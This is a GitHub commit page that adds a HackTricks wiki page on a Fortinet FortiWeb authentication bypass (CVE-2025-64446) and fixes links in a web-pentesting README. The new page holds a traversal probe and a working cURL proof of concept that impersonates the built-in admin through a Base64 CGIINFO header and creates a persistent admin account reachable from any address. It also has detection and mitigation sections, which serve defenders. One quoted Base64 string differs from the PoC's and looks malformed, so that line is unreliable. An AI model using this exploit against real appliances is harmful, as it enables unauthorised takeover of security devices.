Skip to content

Commit be9ebb6

Browse files
authored
Merge pull request #1578 from HackTricks-wiki/update_When_the_impersonation_function_gets_used_to_imper_20251115_184508
When the impersonation function gets used to impersonate use...
2 parents 52268d2 + 598acab commit be9ebb6

File tree

3 files changed

+132
-5
lines changed

3 files changed

+132
-5
lines changed

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -443,6 +443,7 @@
443443
- [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
444444
- [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
445445
- [Flask](network-services-pentesting/pentesting-web/flask.md)
446+
- [Fortinet Fortiweb](network-services-pentesting/pentesting-web/fortinet-fortiweb.md)
446447
- [Git](network-services-pentesting/pentesting-web/git.md)
447448
- [Golang](network-services-pentesting/pentesting-web/golang.md)
448449
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)

src/network-services-pentesting/pentesting-web/README.md

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
7878
- [**CGI**](cgi.md)
7979
- [**Drupal**](drupal/index.html)
8080
- [**Flask**](flask.md)
81+
- [**Fortinet FortiWeb**](fortinet-fortiweb.md)
8182
- [**Git**](git.md)
8283
- [**Golang**](golang.md)
8384
- [**GraphQL**](graphql.md)
@@ -86,7 +87,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
8687
- [**IIS tricks**](iis-internet-information-services.md)
8788
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
8889
- [**JBOSS**](jboss.md)
89-
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
90+
- [**Jenkins**](https://github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)
9091
- [**Jira**](jira.md)
9192
- [**Joomla**](joomla.md)
9293
- [**JSP**](jsp.md)
@@ -238,7 +239,7 @@ Launch some kind of **spider** inside the web. The goal of the spider is to **fi
238239
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
239240
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
240241
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
241-
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
242+
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links)
242243
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
243244
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
244245
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
@@ -294,7 +295,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
294295
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
295296
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
296297
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
297-
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
298+
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
298299
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
299300
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
300301

@@ -313,7 +314,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
313314
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
314315
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
315316
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
316-
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
317+
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
317318
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
318319
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
319320

@@ -359,7 +360,10 @@ You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https
359360

360361
### HackTricks Automatic Commands
361362

362-
```
363+
<details>
364+
<summary>HackTricks Automatic Commands</summary>
365+
366+
```yaml
363367
Protocol_Name: Web #Protocol Abbreviation if there is one.
364368
Port_Number: 80,443 #Comma separated if there is more than one.
365369
Protocol_Description: Web #Protocol Abbreviation Spelled out
@@ -429,4 +433,6 @@ Entry_12:
429433
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
430434
```
431435
436+
</details>
437+
432438
{{#include ../../banners/hacktricks-training.md}}
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
# Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
2+
3+
{{#include ../../banners/hacktricks-training.md}}
4+
5+
## Overview
6+
7+
Fortinet FortiWeb exposes a centralized CGI dispatcher at `/cgi-bin/fwbcgi`. A two-bug chain allows an unauthenticated remote attacker to:
8+
- Reach `fwbcgi` by starting the URL with a valid API prefix and traversing directories.
9+
- Impersonate any user (including the built-in `admin`) by supplying a special HTTP header that the CGI trusts as identity.
10+
11+
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.
12+
13+
Impacted versions (as publicly documented):
14+
- 8.0 < 8.0.2
15+
- 7.6 < 7.6.5
16+
- 7.4 < 7.4.10
17+
- 7.2 < 7.2.12
18+
- 7.0 < 7.0.12
19+
- 6.4 ≤ 6.4.3
20+
- 6.3 ≤ 6.3.23
21+
22+
FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
23+
24+
## Quick vulnerability probe
25+
26+
- Path traversal from API prefix to `fwbcgi`:
27+
28+
```http
29+
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
30+
Host: <target>
31+
```
32+
33+
- Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.
34+
35+
## Root cause chain
36+
37+
1) API-prefix path traversal to internal CGI
38+
- Any request path that begins with a valid FortiWeb API prefix (e.g., `/api/v2.0/cmdb/` or `/api/v2.0/cmd/`) can traverse with `../` to `/cgi-bin/fwbcgi`.
39+
40+
2) Minimal-body validation bypass
41+
- Once `fwbcgi` is reached, a first gate performs a permissive JSON check keyed by a per-path file under `/var/log/inputcheck/`. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use `{}` as a minimal compliant body.
42+
43+
3) Header-driven user impersonation
44+
- The program reads the CGI environment variable `HTTP_CGIINFO` (derived from the HTTP header `CGIINFO`), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
45+
- `username`, `loginname`, `vdom`, `profname`
46+
- Example JSON to impersonate the built-in admin:
47+
48+
```json
49+
{
50+
"username": "admin",
51+
"profname": "prof_admin",
52+
"vdom": "root",
53+
"loginname": "admin"
54+
}
55+
```
56+
57+
Base64 of the above (as used in-the-wild):
58+
59+
```
60+
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
61+
```
62+
63+
## End-to-end abuse pattern (unauthenticated → admin)
64+
65+
1) Reach `/cgi-bin/fwbcgi` via an API-prefix traversal.
66+
2) Provide any valid JSON body (e.g., `{}`) to satisfy the input check.
67+
3) Send header `CGIINFO: <base64(json)>` where the JSON defines the target identity.
68+
4) POST the backend JSON expected by `fwbcgi` to perform privileged actions (e.g., create an admin user for persistence).
69+
70+
### Minimal cURL PoC
71+
72+
- Probe traversal exposure:
73+
74+
```bash
75+
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
76+
```
77+
78+
- Impersonate admin and create a new local admin user:
79+
80+
```bash
81+
# Base64(JSON) for admin impersonation
82+
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
83+
84+
curl -ik \
85+
-H "CGIINFO: $B64" \
86+
-H 'Content-Type: application/json' \
87+
-X POST \
88+
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
89+
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
90+
```
91+
92+
Notes:
93+
- Any valid JSON body suffices (e.g., `{}`) if `/var/log/inputcheck/<path>.json` does not exist.
94+
- The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
95+
96+
## Detection
97+
98+
- Requests reaching `/cgi-bin/fwbcgi` via API-prefix paths containing `../` (e.g., `/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi`).
99+
- Presence of header `CGIINFO` with Base64 JSON containing keys `username`/`loginname`/`vdom`/`profname`.
100+
- Backend artifacts:
101+
- Per-path files under `/var/log/inputcheck/` (gate configuration).
102+
- Unexpected admin creation and configuration changes.
103+
- Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).
104+
105+
## Mitigation
106+
107+
- Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
108+
- Until patched:
109+
- Do not expose FortiWeb management plane to untrusted networks.
110+
- Add reverse-proxy/WAF rules to block:
111+
- Paths that start with `/api/` and contain `../cgi-bin/fwbcgi`.
112+
- Requests carrying a `CGIINFO` header.
113+
- Monitor and alert on the detection indicators above.
114+
115+
## References
116+
117+
- [When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)](https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/)
118+
- [watchTowr vs FortiWeb Auth Bypass — Detection artefact generator](https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass)
119+
120+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)